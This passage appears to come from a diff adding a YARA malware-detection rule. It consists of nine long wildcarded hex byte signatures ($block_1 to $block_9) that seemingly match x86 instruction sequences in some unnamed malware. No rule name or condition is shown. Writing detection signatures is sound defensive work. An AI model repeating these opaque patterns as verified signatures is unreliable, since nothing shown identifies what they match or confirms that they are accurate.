F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 86 }
+		$block_1 = { 8A ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 75 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? 81 0? ?? ?? ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 81 0? ?? ?? ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? B7 ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? ?? ?? ?? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 5? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? ?? ?? ?? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? B7 ?? 00 ?? 73 }
+		$block_4 = { F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? 89 ?? 0B ?? ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 01 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? 11 ?? 89 ?? ?? ?? 89 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? 33 ?? ?? ?? 01 ?? 11 ?? 89 ?? ?? 89 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? 31 ?? 01 ?? ?? ?? 89 ?? ?? ?? 89 ?? 11 ?? 33 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? 33 ?? ?? ?? 31 ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? 33 ?? ?? ?? 01 ?? 89 ?? ?? ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 89 ?? ?? 33 ?? ?? 01 ?? 89 ?? 11 ?? ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? 31 ?? 01 ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 31 ?? 33 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? 01 ?? 11 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 01 ?? ?? 89 ?? 89 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 31 ?? 33 ?? ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 8B ?? ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? 01 ?? 11 ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? ?? ?? 33 ?? ?? 31 ?? 8B ?? ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? 01 ?? 11 ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? 8B ?? ?? ?? 31 ?? 33 ?? ?? 01 ?? ?? ?? 89 ?? 11 ?? 03 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 11 ?? 8B ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 5? 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 85 ?? BF ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 0F 45 ?? 0F 44 ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 0B ?? ?? ?? 0B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 75 }
+		$block_7 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? 5? 5? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 4? 31 ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? 8C ?? 00 ?? B6 ?? 00 ?? 9E 1F 00 ?? A3 ?? ?? ?? ?? 1F 00 ?? 9A ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? 5? 21 ?? 00 ?? ?? 00 ?? EE 21 ?? 00 ?? ?? ?? ?? ?? 21 ?? 00 ?? 21 ?? 00 ?? 22 ?? 00 ?? ?? 00 }
+		$block_8 = { 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 0F 10 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 0F B7 ?? 31 ?? 0F 11 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 0F 45 ?? 0F 94 ?? 8D ?? ?? ?? ?? ?? ?? 09 ?? 89 ?? 8B ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? F3 ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 5? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 6A ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 66 ?? A6 03 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? ?? ?? ?? ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? ?? ?? ?? ?? 03 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 